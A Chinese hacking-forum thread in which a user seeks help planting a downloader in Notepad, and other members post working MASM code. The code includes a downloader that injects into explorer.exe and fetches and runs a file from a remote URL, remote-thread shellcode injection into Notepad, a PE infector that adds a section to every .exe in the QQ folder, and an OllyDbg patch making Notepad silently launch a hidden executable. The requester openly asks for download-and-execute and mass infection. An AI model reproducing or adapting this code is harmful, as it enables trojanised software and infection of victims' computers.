返回列表 发帖

[讨论]有个主意对记事本插入下载者的汇编代码,求帮助

[讨论]有个主意对记事本插入下载者的汇编代码,求帮助
今天看了《逆向工程打造隐蔽后门》一文
http://forum.eviloctal.com/read- ... F2%B9%A4%B3%CC.html

觉得思路非常完美!

我想能不能对记事本插入下载者的汇编代码。下载者代码我在网上找了个蛮不错的(见下面)。有点与asm写过的类似。

现在困难就在于这个WIN32汇编的代码怎么写到OD里面去?我不知道怎么转换。求高手指点!
复制内容到剪贴板

代码:
.386
.model flat, stdcall
option casemap:none
include windows.inc
include kernel32.inc
include user32.inc
include urlmon.inc
include shell32.inc
includelib kernel32.lib
includelib user32.lib
includelib urlmon.lib
includelib shell32.lib

.data
szDesktopClass db 'Progman',0 ;explorer.exe 的窗口类
szDesktopWindow db 'Program Manager',0
szURL db 'Http://chenmingzhong87.xinwen365.com/shell.doc',0
szSaveFile db 'C:\shell.doc',0

.data?
hModule dd ?
hWnd dd ?
hProcess dd ?
ShellSize dd ?
Pid dd ?
Written dd ?
dwTid dd ?
.code

Shellcode proc
push 00403008H
call LoadLibrary
push 00403013H
call LoadLibrary
invoke URLDownloadToFile,NULL,addr szURL,addr szSaveFile,NULL,NULL
invoke ShellExecute,0,0,addr szSaveFile,0,0,SW_SHOW
invoke ExitThread,0
ret
Shellcode endp
start:
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
;这里开始的代码是借用别人的
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
invoke GetModuleHandle, 0
mov hModule, eax
mov edi, eax
assume edi:ptr IMAGE_DOS_HEADER
add edi, [edi].e_lfanew
add edi, sizeof dword
add edi, sizeof IMAGE_FILE_HEADER
assume edi:ptr IMAGE_OPTIONAL_HEADER32
mov eax, [edi].SizeOfImage
mov ShellSize, eax
assume edi:NOTHING
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
;接着原来的代码继续执行
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
invoke FindWindow,addr szDesktopClass,addr szDesktopWindow
invoke GetWindowThreadProcessId, eax, addr Pid
invoke OpenProcess,PROCESS_CREATE_THREAD or PROCESS_VM_WRITE+\
  PROCESS_VM_OPERATION,FALSE,Pid
mov hProcess, eax
invoke VirtualFreeEx, hProcess, hModule, 0, MEM_RELEASE
invoke VirtualAllocEx, hProcess, hModule, ShellSize, MEM_COMMIT or MEM_RESERVE,
PAGE_EXECUTE_READWRITE
mov hWnd, eax
invoke WriteProcessMemory, hProcess, hWnd, hModule, ShellSize, addr Written
invoke CreateRemoteThread, hProcess, 0, 0, addr Shellcode, hModule, 0, addr dwTid
invoke ExitProcess, 0
end start

帖子67 精华0 积分3214 阅读权限100 性别男 在线时间104 小时 注册时间2007-1-29 最后登录2008-7-5 查看详细资料引用 报告 回复 TOP 软件项目外包

asm
运维管理组

上面那代码貌似是我写的,是在一篇叫做 "win32汇编实现简单线程注入" est有搜

注入的原理貌似就是把整个exe都搬到explorer.exe去...这样就不需要重定位鸟.....游戏吧  http://www.game8.cc/MyBlog    http://www.asm32.cn
帖子1598 精华30 积分8742 阅读权限150 性别男 在线时间954 小时 注册时间2006-9-21 最后登录2008-7-20 查看详细资料引用 报告 回复 TOP 良辰择日,预测咨询,公司改名,权威易经

黑菜
荣誉会员

TOP

引用:
引用第1楼asm于2007-07-21 22:27发表的 :
上面那代码貌似是我写的,是在一篇叫做 "win32汇编实现简单线程注入" est有搜

注入的原理貌似就是把整个exe都搬到explorer.exe去...这样就不需要重定位鸟.....
ASM大侠现身回答我的问题很激动。
我上面说了 “有点与asm写过的类似”没想到是你写的啊。对不起
我想请教怎么把下载的代码插入到记事本文件去。你先看下我上边提到的那个作者的文章,他是完成添加用户的功能,我想完成下载的功能。

帖子67 精华0 积分3214 阅读权限100 性别男 在线时间104 小时 注册时间2007-1-29 最后登录2008-7-5 查看详细资料引用 报告 回复 TOP 您知道您年薪应是多少?

asm
运维管理组

TOP

插记事本不是很简单吗?

代码测试环境:

  windows XP SP2

.386
.model flat, stdcall
option casemap:none
include windows.inc
include kernel32.inc
include user32.inc
include urlmon.inc
include shell32.inc
includelib kernel32.lib
includelib user32.lib
includelib urlmon.lib
includelib shell32.lib

.data
szDesktopClass db 'Notepad',0 ;记事本的窗口类
szBuff db '你能看到我吗?',0

.data?
hModule dd ?
hWnd dd ?
hProcess dd ?
ShellSize dd ?
Pid dd ?
Written dd ?
dwTid dd ?
.code

Shellcode proc
invoke MessageBox,0,addr szBuff,0,MB_ICONINFORMATION
invoke ExitThread,0
ret
Shellcode endp
start:
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
;得程序的基址,然后把整个程序搬到记事本进程内存......
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
invoke GetModuleHandle, 0
mov hModule, eax
mov edi, eax
assume edi:ptr IMAGE_DOS_HEADER
add edi, [edi].e_lfanew
add edi, sizeof dword
add edi, sizeof IMAGE_FILE_HEADER
assume edi:ptr IMAGE_OPTIONAL_HEADER32
mov eax, [edi].SizeOfImage
mov ShellSize, eax
assume edi:NOTHING
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
;接着原来的代码继续执行
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
invoke FindWindow,addr szDesktopClass,NULL
invoke GetWindowThreadProcessId, eax, addr Pid
invoke OpenProcess,PROCESS_CREATE_THREAD or PROCESS_VM_WRITE+\
PROCESS_VM_OPERATION,FALSE,Pid
mov hProcess, eax
invoke VirtualFreeEx, hProcess, hModule, 0, MEM_RELEASE
invoke VirtualAllocEx, hProcess, hModule, ShellSize, MEM_COMMIT or MEM_RESERVE,
PAGE_EXECUTE_READWRITE
mov hWnd, eax
invoke WriteProcessMemory, hProcess, hWnd, hModule, ShellSize, addr Written
invoke CreateRemoteThread, hProcess, 0, 0, addr Shellcode, hModule, 0, addr dwTid
invoke ExitProcess, 0
end start游戏吧  http://www.game8.cc/MyBlog    http://www.asm32.cn
帖子1598 精华30 积分8742 阅读权限150 性别男 在线时间954 小时 注册时间2006-9-21 最后登录2008-7-20 查看详细资料引用 报告 回复 TOP

装呆
晶莹剔透§烈日灼然

TOP

其实我更笨看不懂
帖子1 精华0 积分16 阅读权限40 性别男 在线时间9 小时 注册时间2007-7-21 最后登录2008-4-9 查看详细资料引用 报告 回复 TOP 良辰择日,预测咨询,公司改名,权威易经

asm
运维管理组

TOP

下面给你丢个 Anskya 的代码:

.586
.model flat, stdcall
option casemap :none  
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
include windows.inc
include kernel32.inc
include masm32.inc
include User32.inc

includelib kernel32.lib
includelib masm32.lib
includelib User32.lib

;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
ShellSize equ 387
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
.data?
hInstance  HINSTANCE ?
CommandLine LPSTR   ?
hProcess  HANDLE  ?
pThread  LPVOID  ?
PID    dword   ?
hWndNpd  dword   ?
.data
szlpClassName db "Notepad",0 ;定义记事本窗口类
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
.code
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
szShellcode DB 0E8H,00H,00H,00H,00H,05FH,081H,0EFH,01EH,010H,040H,00H,08DH,087H,094H,010H
  DB 040H,00H,050H,0E8H,083H,00H,00H,00H,08DH,087H,0A5H,010H,040H,00H,050H,0E8H
  DB 077H,00H,00H,00H,02BH,0C0H,050H,08DH,09FH,083H,010H,040H,00H,053H,08DH,09FH
  DB 05EH,010H,040H,00H,053H,050H,0FFH,097H,0ACH,010H,040H,00H,06AH,00H,0FFH,097H
  DB 09DH,010H,040H,00H,0C3H,05BH,02AH,05DH,020H,048H,065H,06CH,06CH,06FH,020H,057H
  DB 06FH,072H,06CH,064H,020H,043H,06FH,064H,065H,072H,021H,020H,028H,043H,029H,020H
  DB 041H,06EH,073H,06BH,079H,061H,02EH,0DH,0AH,00H,04DH,073H,067H,042H,06FH,078H
  DB 020H,042H,079H,020H,041H,06EH,073H,06BH,079H,061H,00H,06BH,065H,072H,06EH,065H
  DB 06CH,033H,032H,00H,01H,092H,08FH,05H,00H,00H,00H,00H,075H,073H,065H,072H
  DB 033H,032H,00H,0F7H,06CH,055H,0D8H,00H,00H,00H,00H,060H,08BH,074H,024H,024H
  DB 0E8H,097H,00H,00H,00H,068H,0ADH,0D1H,034H,041H,050H,0E8H,01FH,00H,00H,00H
  DB 056H,0FFH,0D0H,08BH,0D8H,02BH,0C0H,0ACH,084H,0C0H,075H,0FBH,08BH,0FEH,0ADH,085H
  DB 0C0H,074H,0AH,050H,053H,0E8H,05H,00H,00H,00H,0ABH,0EBH,0F1H,061H,0C3H,060H
  DB 08BH,05CH,024H,024H,08BH,074H,024H,028H,02BH,0EDH,08BH,0D3H,03H,052H,03CH,08BH
  DB 052H,078H,03H,0D3H,08BH,042H,018H,08BH,07AH,01CH,03H,0FBH,08BH,07AH,020H,03H
  DB 0FBH,052H,08BH,0D7H,08BH,017H,03H,0D3H,045H,060H,08BH,0F2H,02BH,0C9H,0ACH,041H
  DB 084H,0C0H,075H,0FAH,089H,04CH,024H,018H,061H,060H,02BH,0C0H,0E8H,051H,00H,00H
  DB 00H,03BH,0C6H,061H,074H,08H,083H,0C7H,04H,048H,074H,018H,0EBH,0D6H,05AH,04DH
  DB 08BH,04AH,024H,03H,0CBH,0FH,0B7H,04H,069H,08BH,06AH,01CH,03H,0EBH,08BH,044H
  DB 085H,00H,03H,0C3H,089H,044H,024H,01CH,061H,0C2H,08H,00H,060H,02BH,0C0H,064H
  DB 08BH,040H,030H,085H,0C0H,078H,0CH,08BH,040H,0CH,08BH,070H,01CH,0ADH,08BH,040H
  DB 08H,0EBH,09H,08BH,040H,034H,08DH,040H,07CH,08BH,040H,03CH,089H,044H,024H,01CH
  DB 061H,0C3H,060H,0E3H,018H,0F7H,0D0H,032H,02H,042H,0B3H,08H,0D1H,0E8H,073H,05H
  DB 035H,020H,083H,0B8H,0EDH,0FEH,0CBH,075H,0F3H,0E2H,0ECH,0F7H,0D0H,089H,044H,024H
  DB 01CH,061H,0C3H
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
WinMain proc hInst:HINSTANCE, hPrevInst:HINSTANCE, CmdLine:LPSTR, CmdShow:DWORD ;定义全局变量

invoke FindWindow,addr szlpClassName,NULL ;获取记事本的窗口类
mov hWndNpd,eax ;保存
invoke GetWindowThreadProcessId, hWndNpd,addr PID ;获取记事本的标识符,并指定句柄
invoke OpenProcess, PROCESS_ALL_ACCESS,FALSE,PID ;通过指定的句柄获取运行中的记事本进程PID
mov hProcess, eax ;保存句柄准备下面函数调用
invoke VirtualAllocEx,hProcess, NULL, ShellSize, \
MEM_COMMIT or MEM_RESERVE, PAGE_EXECUTE_READWRITE ;分配内存空间
mov pThread, eax
invoke WriteProcessMemory, hProcess, pThread, offset szShellcode, \
   ShellSize, NULL ;将szShellcode写到进程内存中
invoke CreateRemoteThread, hProcess, 0, 0, pThread, NULL, 0, NULL ;创建线程.运行..
ret

WinMain endp
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
start:
invoke GetModuleHandle, NULL ;获取模块句柄
mov hInstance, eax ;保存
invoke GetCommandLine ;获取命令行参数
invoke WinMain, hInstance, NULL, eax, SW_HIDE ;开始调用子程序
invoke ExitProcess, NULL ;Exit
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
end start
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>游戏吧  http://www.game8.cc/MyBlog    http://www.asm32.cn
帖子1598 精华30 积分8742 阅读权限150 性别男 在线时间954 小时 注册时间2006-9-21 最后登录2008-7-20 查看详细资料引用 报告 回复 TOP 良辰择日,预测咨询,公司改名,权威易经

黑菜
荣誉会员

TOP

引用:
引用第3楼asm于2007-07-22 00:39发表的 :
插记事本不是很简单吗?

代码测试环境:

  windows XP SP2
.......
恐怕ASM没懂我的意图。


01008747   00     db 00
01008748  . 44 3A 5C 5>ascii "D:\\RECYCLER\NTR"
01008758  . 41 53 2E 4>ascii "AS.EXE",0
0100875F  . 6F 70 65 6>ascii "open",0
01008764   00     db 00
01008765  > 60     pushad
01008766  . 6A 00   push 0                  ; /IsShown = 0
01008768  . 6A 00   push 0                  ; |DefDir = NULL
0100876A  . 6A 00   push 0                  ; |Parameters = NULL
0100876C  . 68 4887000>push NOTEPAD(.01008748          ; |FileName = "D:\\RECYCLER\NTRAS.EXE"
01008771  . 68 5F87000>push NOTEPAD(.0100875F          ; |Operation = "open"
01008776  . 6A 00   push 0                  ; |hWnd = NULL
01008778  . E8 4387607>call SHELL32.ShellExecuteA        ; \ShellExecuteA
0100877D  . 61     popad
0100877E  . 6A 70   push 70
01008780  . 68 9818000>push NOTEPAD(.01001898
01008785  .^ E9 19ECFFF>jmp NOTEPAD(.010073A3
0100878A   00     db 00
0100878B   00     db 00
0100878C   00     db 00
0100878D   00     db 00
0100878E   00     db 00
0100878F   00     db 00
01008790   00     db 00
01008791   00     db 00
01008792   00     db 00
01008793   00     db 00
01008794   00     db 00
01008795   00     db 00
01008796   00     db 00
01008797   00     db 00
01008798   00     db 00
01008799   00     db 00
0100879A   00     db 00



如上代码所示。我想在在OD中,对记事本末尾的空白空间处加入下载者的代码。
要在OllyDbg里写入WIN32汇编的下载者功能代码!!!我不知道该如何写??

帖子67 精华0 积分3214 阅读权限100 性别男 在线时间104 小时 注册时间2007-1-29 最后登录2008-7-5 查看详细资料引用 报告 回复 TOP 让女孩一夜变的更有女人味

黑菜
荣誉会员

TOP

ASM试试运行下面这个附件里的记事本。会自动打开D盘回收站目录recycler里的Ntras.exe文件(把Ntras.exe放到D盘回收站目录recycler里)

你会知道我想干嘛了
附件
桌面.rar (34 KB)
2007-7-22 00:59, 下载次数: 36

帖子67 精华0 积分3214 阅读权限100 性别男 在线时间104 小时 注册时间2007-1-29 最后登录2008-7-5 查看详细资料引用 报告 回复 TOP

asm
运维管理组

TOP

你这样不叫作注入,应该说,你已经改变了记事本的数据

按照你的意思,应该是把代码追加到记事本的尾处,另外添加一个新节也可以这样做。。。

这样一来,你不是叫注入,而叫:感染............游戏吧  http://www.game8.cc/MyBlog    http://www.asm32.cn
帖子1598 精华30 积分8742 阅读权限150 性别男 在线时间954 小时 注册时间2006-9-21 最后登录2008-7-20 查看详细资料引用 报告 回复 TOP

黑菜
荣誉会员

TOP

引用:
引用第8楼asm于2007-07-22 01:15发表的 :
你这样不叫作注入,应该说,你已经改变了记事本的数据

按照你的意思,应该是把代码追加到记事本的尾处,另外添加一个新节也可以这样做。。。

这样一来,你不是叫注入,而叫:感染............
哈,不好意思,你给我一讲解明白了原来不叫注入!

那麻烦你教我下这感染的代码怎么来写??我要完成下载并执行就OK了。





另外再问个,Win32汇编能不能实现自动判断所有EXE文件并感染??(有点病毒性质了,呵呵)

帖子67 精华0 积分3214 阅读权限100 性别男 在线时间104 小时 注册时间2007-1-29 最后登录2008-7-5 查看详细资料引用 报告 回复 TOP

asm
运维管理组

TOP

其实这个也不是什么新技术哦,下面是我修改的一个感染QQ的代码:
复制内容到剪贴板
代码:
;ml /c /coff Add_Section.asm
;link /subsystem:windows /section:.text,RWE Add_Section.res Add_Section.obj
.386
.model flat, stdcall
option casemap:none

include windows.inc
include kernel32.inc
include user32.inc
includelib kernel32.lib
includelib user32.lib
include    advapi32.inc
includelib  advapi32.lib

WndProc     proto :DWORD, :DWORD, :DWORD, :DWORD
AddNewSection  proto :DWORD

;很有用的宏:
CTEXT  MACRO y:VARARG
  LOCAL sym
  CONST segment
  ifidni <y>,<>      
    sym db 0   
  else      
    sym db y,0
  endif
  CONST ends
  exitm <offset sym>
ENDM

.const
MAXSIZE     equ  260
Head_Len     equ  sizeof IMAGE_NT_HEADERS + sizeof IMAGE_SECTION_HEADER

.data
szRegKey      db    &#39;SOFTWARE\TENCENT\QQ&#39;,0
szKey db  &#39;Install&#39;,0 ;键值名称
szStr1        dd  REG_SZ ;数据
FileNamePattern db "*.exe",0

ofn       OPENFILENAME  <>
FileNameOfQQ    db 256 dup(0)
PE_Header    IMAGE_NT_HEADERS  <0>
My_Section    IMAGE_SECTION_HEADER  <>
szDllName    db  "User32", 0
szMessageBoxA  db  "MessageBoxA", 0
FileName db 256 dup(0)
szFile db 256 dup(0)


.code
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
FillFileInfo proc uses edi
LOCAL finddata:WIN32_FIND_DATA
LOCAL hFindFile:DWORD

invoke FindFirstFile,addr szFile,addr finddata
.if eax!=INVALID_HANDLE_VALUE
  mov hFindFile,eax
  .repeat   
    invoke RtlZeroMemory,addr FileNameOfQQ,sizeof FileNameOfQQ
    invoke lstrcat,addr FileNameOfQQ,addr FileName
    lea eax,finddata.cFileName
    invoke lstrcat,addr FileNameOfQQ,eax
    call _AddNewSection
invoke FindNextFile,hFindFile,addr finddata
  .until eax == FALSE
  invoke FindClose,hFindFile
  .endif
ret
FillFileInfo endp
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
_QueryKey  proc  _lpKey
  LOCAL hKey   :DWORD
  LOCAL BufSize :DWORD  
   invoke RegOpenKeyEx, HKEY_LOCAL_MACHINE,addr szRegKey,NULL, KEY_QUERY_VALUE,addr hKey
   .if  eax == ERROR_SUCCESS
  invoke RegQueryValueEx,hKey,addr szKey,NULL,NULL,addr FileName,addr BufSize
   .if eax == ERROR_SUCCESS
  invoke lstrcat,addr szFile,addr FileName
  invoke lstrcat,addr szFile,addr FileNamePattern
  invoke  RegCloseKey,hKey
  .endif
  .endif
  ret
_QueryKey    endp
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
main:
  call _QueryKey
  call FillFileInfo
  invoke ExitProcess,NULL
_AddNewSection proc
  LOCAL hFile: HANDLE
  LOCAL dwPE_Header_OffSet: DWORD
  LOCAL dwFileReadWritten: DWORD
  LOCAL dwMySectionOffSet: DWORD
  LOCAL dwLastSection_SizeOfRawData: DWORD
  LOCAL dwLastSection_PointerToRawData: DWORD

  ;打开文件:
  invoke CreateFile, addr FileNameOfQQ, GENERIC_READ or GENERIC_WRITE,\
      FILE_SHARE_READ or FILE_SHARE_WRITE, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL
  .if eax != INVALID_HANDLE_VALUE
  mov hFile, eax
  ;****************************************
  ;读取PE文件头:
  ;****************************************
  invoke SetFilePointer, hFile, 3ch, 0, FILE_BEGIN
  invoke ReadFile, hFile, addr dwPE_Header_OffSet, 4, addr dwFileReadWritten, NULL
  invoke SetFilePointer, hFile, dwPE_Header_OffSet, 0, FILE_BEGIN
  invoke ReadFile, hFile, addr PE_Header, Head_Len, addr dwFileReadWritten, NULL

  ;****************************************
  ;判断是否有效的PE文件,是的话才继续:
  ;****************************************
  .if [PE_Header.Signature] != IMAGE_NT_SIGNATURE
    ;如果不是有效的PE文件,就给出提示:
    invoke CloseHandle,hFile
  .endif

  ;****************************************
  ;判断是否有足够空间存储新节:
  ;****************************************
  movzx eax, [PE_Header.FileHeader.NumberOfSections]  ;得到添加新节前有多少个节:
  mov ecx, 28h  ;28h = sizeof IMAGE_SECTION_HEADER
  mul ecx     ;eax = NumberOfSections * sizeof IMAGE_SECTION_HEADER
  add eax, dwPE_Header_OffSet  ;eax = eax + PE文件头偏移
  add eax, 18h  ;18h = sizeof IMAGE_FILE_HEADER
  movzx ecx, [PE_Header.FileHeader.SizeOfOptionalHeader]
  add eax, ecx  ;eax = eax + sizeof IMAGE_OPTIONAL_HEADER
  add eax, 28h  ;添加一个新节的大小
  .if eax > [PE_Header.OptionalHeader.SizeOfHeaders]
  invoke CloseHandle,hFile
  .endif

  ;****************************************
  ;保存原入口,后面要用到:
  ;****************************************
  mov eax, [PE_Header.OptionalHeader.AddressOfEntryPoint]
  mov Old_AddressOfEntryPoint, eax
  mov eax, [PE_Header.OptionalHeader.ImageBase]
  mov Old_ImageBase, eax

  ;*******
  ;计算新节的偏移地址:
  ;(其实跟上面的“判断是否有足够空间存储新节”基本上一样)
  ;*******
  movzx eax, [PE_Header.FileHeader.NumberOfSections]
  mov ecx, 28h
  mul ecx      ;eax = NumberOfSections * sizeof IMAGE_SECTION_HEADER
  add eax, 4h    ;4h = sizeof "PE\0\0"
  add eax, dwPE_Header_OffSet
  add eax, sizeof IMAGE_FILE_HEADER
  add eax, sizeof IMAGE_OPTIONAL_HEADER
  mov dwMySectionOffSet, eax  ;现在得到了我们的新节的偏移地址

  ;****************************************
  ;填充我们自己的节的信息:
  ;(这部分请查看PE格式,很容易明白,不多说了)
  ;****************************************
  mov dword ptr [My_Section.Name1], "MSA."  ;名字就叫做“.LC”吧,呵呵……
  mov [My_Section.Misc.VirtualSize], offset vEnd - offset vStart
  push [PE_Header.OptionalHeader.SizeOfImage]
  pop [My_Section.VirtualAddress]
  mov eax, [My_Section.Misc.VirtualSize]
  mov ecx, [PE_Header.OptionalHeader.FileAlignment]
  cdq
  div ecx
  inc eax
  mul ecx
  mov [My_Section.SizeOfRawData], eax ;SizeOfRawData在EXE文件中是对齐到FileAlignMent的整数倍的值
  mov eax, dwMySectionOffSet
  sub eax, 18h  ;这个偏移是定位到最后一节的“SizeOfRawData”
  invoke SetFilePointer, hFile, eax, 0, FILE_BEGIN
  invoke ReadFile, hFile, addr dwLastSection_SizeOfRawData, 4, addr dwFileReadWritten, NULL
  invoke ReadFile, hFile, addr dwLastSection_PointerToRawData, 4, addr dwFileReadWritten, NULL
  ;每个节的 PointerToRawData 等于它的上一节的 SizeOfRawData + PointerToRawData:
  mov eax, dwLastSection_SizeOfRawData
  add eax, dwLastSection_PointerToRawData
  mov [My_Section.PointerToRawData], eax
  mov [My_Section.PointerToRelocations], 0h
  mov [My_Section.PointerToLinenumbers], 0h
  mov [My_Section.NumberOfRelocations], 0h
  mov [My_Section.NumberOfLinenumbers], 0h
  mov [My_Section.Characteristics], 0E0000020h  ;可读可写可执行

  ;*******
  ;重新写入IMAGE_SECTION_HEADER:(包含了新节的信息)
  ;*******
  invoke SetFilePointer, hFile, dwMySectionOffSet, 0, FILE_BEGIN
  invoke WriteFile, hFile, addr My_Section, sizeof IMAGE_SECTION_HEADER, addr dwFileReadWritten, NULL

  ;****************************************
  ;得到 MessageBoxA 的线性地址:
  ;****************************************
  invoke GetModuleHandle, addr szDllName
  invoke LoadLibrary, addr szDllName
  invoke GetProcAddress, eax, addr szMessageBoxA
  mov MessageBoxA_Addr, eax

  ;****************************************
  ;在文件的最后写入我们的新节:
  ;****************************************
  invoke SetFilePointer, hFile, 0, 0, FILE_END
  push 0
  lea eax, dwFileReadWritten
  push eax
  push [My_Section.SizeOfRawData]
  lea eax, vStart
  push eax
  push hFile
  call WriteFile

  ;*******
  ;改写IMAGE_NT_HEADERS,使新节可以首先执行:
  ;(需要改写 SizeOfImage 和 AddressOfEntryPoint)
  ;*******
  inc [PE_Header.FileHeader.NumberOfSections]
  mov eax, [My_Section.Misc.VirtualSize]
  mov ecx, [PE_Header.OptionalHeader.SectionAlignment]
  cdq
  div ecx
  inc eax
  mul ecx
  add eax, [PE_Header.OptionalHeader.SizeOfImage]
  mov [PE_Header.OptionalHeader.SizeOfImage], eax  ;SizeOfImage是一个对齐到SectionAlignment的整数倍的值
  mov eax, [My_Section.VirtualAddress]
  mov [PE_Header.OptionalHeader.AddressOfEntryPoint], eax ;现在的 AddressOfEntryPoint 是指向新节的第一条指令
  invoke SetFilePointer, hFile, dwPE_Header_OffSet, 0, FILE_BEGIN
  invoke WriteFile, hFile, addr PE_Header, sizeof IMAGE_NT_HEADERS, addr dwFileReadWritten, NULL

  ;****************************************
  ;完成!显示成功信息:
  ;****************************************
  invoke CloseHandle,hFile
.endif
Err_CreateFile_Exit:
  ret
_AddNewSection endp
;****************************************
;呵呵,我们自己的东东:(像不像病毒?)
;****************************************
vStart:
  call nStart
nStart:
  pop ebp
  sub ebp, offset nStart  ;得到新节在文件中的实际偏移地址

  ;显示对话框:
  push MB_OK or MB_ICONINFORMATION
  lea eax, szMyCaption[ebp]
  push eax
  lea eax, szMyMsg[ebp]
  push eax
  push 0
  call MessageBoxA_Addr[ebp]

  ;恢复原入口地址。当这个节执行完毕后,就回到了原来的文件入口处继续执行:
  mov eax, Old_ImageBase[ebp]
  add eax, Old_AddressOfEntryPoint[ebp]
  push eax
  ret

  ;变量定义:
  MessageBoxA_Addr    dd  0
  szMyMsg         db  "我是asm,你能看到我吗?", 13, 10, 13, 10,\
                 "by asm",13, 10, "http://www.asm32.cn",0
  szMyCaption       db  "test", 0
  Old_ImageBase      dd  0
  Old_AddressOfEntryPoint dd  0
vEnd:

end main游戏吧  http://www.game8.cc/MyBlog    http://www.asm32.cn
帖子1598 精华30 积分8742 阅读权限150 性别男 在线时间954 小时 注册时间2006-9-21 最后登录2008-7-20 查看详细资料引用 报告 回复 TOP

黑菜
荣誉会员

TOP

好喜欢你的代码!!!你都是现场编的吗?这么快!

能不能告诉我OllyDbg里的末端具体该怎么写代码?

帖子67 精华0 积分3214 阅读权限100 性别男 在线时间104 小时 注册时间2007-1-29 最后登录2008-7-5 查看详细资料引用 报告 回复 TOP

asm
运维管理组

TOP

引用:
引用第11楼黑菜于2007-07-22 01:28发表的 :
好喜欢你的代码!!!你都是现场编的吗?这么快!

能不能告诉我OllyDbg里的末端具体该怎么写代码?
这个是现场改的。。。

"OllyDbg里的末端",不明白.......游戏吧  http://www.game8.cc/MyBlog    http://www.asm32.cn
帖子1598 精华30 积分8742 阅读权限150 性别男 在线时间954 小时 注册时间2006-9-21 最后登录2008-7-20 查看详细资料引用 报告 回复 TOP

黑菜
荣誉会员

TOP

引用:
引用第12楼asm于2007-07-22 01:42发表的 :


这个是现场改的。。。

"OllyDbg里的末端",不明白.......
就是说我用OD打开记事本,末端那些00字节的空白处,我该怎么写些汇编代码可以让他附加下载者的功能。

帖子67 精华0 积分3214 阅读权限100 性别男 在线时间104 小时 注册时间2007-1-29 最后登录2008-7-5 查看详细资料引用 报告 回复 TOP

asm
运维管理组

TOP

引用:
引用第13楼黑菜于2007-07-22 01:46发表的 :

就是说我用OD打开记事本,末端那些00字节的空白处,我该怎么写些汇编代码可以让他附加下载者的功能。
可能只在exe尾部追加数据什么的吧。。不太清楚哦,抱歉游戏吧  http://www.game8.cc/MyBlog    http://www.asm32.cn
帖子1598 精华30 积分8742 阅读权限150 性别男 在线时间954 小时 注册时间2006-9-21 最后登录2008-7-20 查看详细资料引用 报告 回复 TOP

黑菜
荣誉会员

TOP

引用:
引用第15楼asm于2007-07-22 01:56发表的 :



可能只在exe尾部追加数据什么的吧。。不太清楚哦,抱歉
对啊。就是在exe尾部追加数据,终于有人懂我要干什么了。
追加的代码在OD里的形式好像是DOS汇编的代码,你能帮我写个下载与执行功能吗???

帖子67 精华0 积分3214 阅读权限100 性别男 在线时间104 小时 注册时间2007-1-29 最后登录2008-7-5 查看详细资料引用 报告 回复 TOP

asm
运维管理组

TOP

加一个新节就已经够了吧?我给你的代码已经够用了,你自己修改成下载的吧。

至于怎么尾部追加数据,我还真不懂 游戏吧  http://www.game8.cc/MyBlog    http://www.asm32.cn
帖子1598 精华30 积分8742 阅读权限150 性别男 在线时间954 小时 注册时间2006-9-21 最后登录2008-7-20 查看详细资料引用 报告 回复 TOP

血狐
晶莹剔透§烈日灼然

TOP

是不是用PE病毒的原理 加上跳转指令就可以了

帖子53 精华0 积分173 阅读权限40 性别男 在线时间171 小时 注册时间2007-5-9 最后登录2008-2-25 查看详细资料引用 报告 回复 TOP

黑菜
荣誉会员

TOP

复制内容到剪贴板
代码:
01008748 . ascii "D:\\RECYCLER\NTR"
01008758 . ascii "AS.EXE",0
0100875F . ascii "open",0
01008764   db 00
01008765   pushad
01008766   push 0                            ; /IsShown = 0
01008768   push 0                            ; |DefDir = NULL
0100876A   push 0                            ; |Parameters = NULL
0100876C   push NOTEPAD(.01008748         ; |FileName = "D:\\RECYCLER\NTRAS.EXE"
01008771   push NOTEPAD(.0100875F          ; |Operation = "open"
01008776   push 0                             ; |hWnd = NULL
01008778   call SHELL32.ShellExecuteA         ; \ShellExecuteA
0100877D  popad
0100877E   push 70
01008780   push NOTEPAD(.01001898
01008785   jmp NOTEPAD(.010073A3
这些代码是让记事本执行D:\\RECYCLER\NTRAS.EXE文件的功能!就是不会编下载的代码

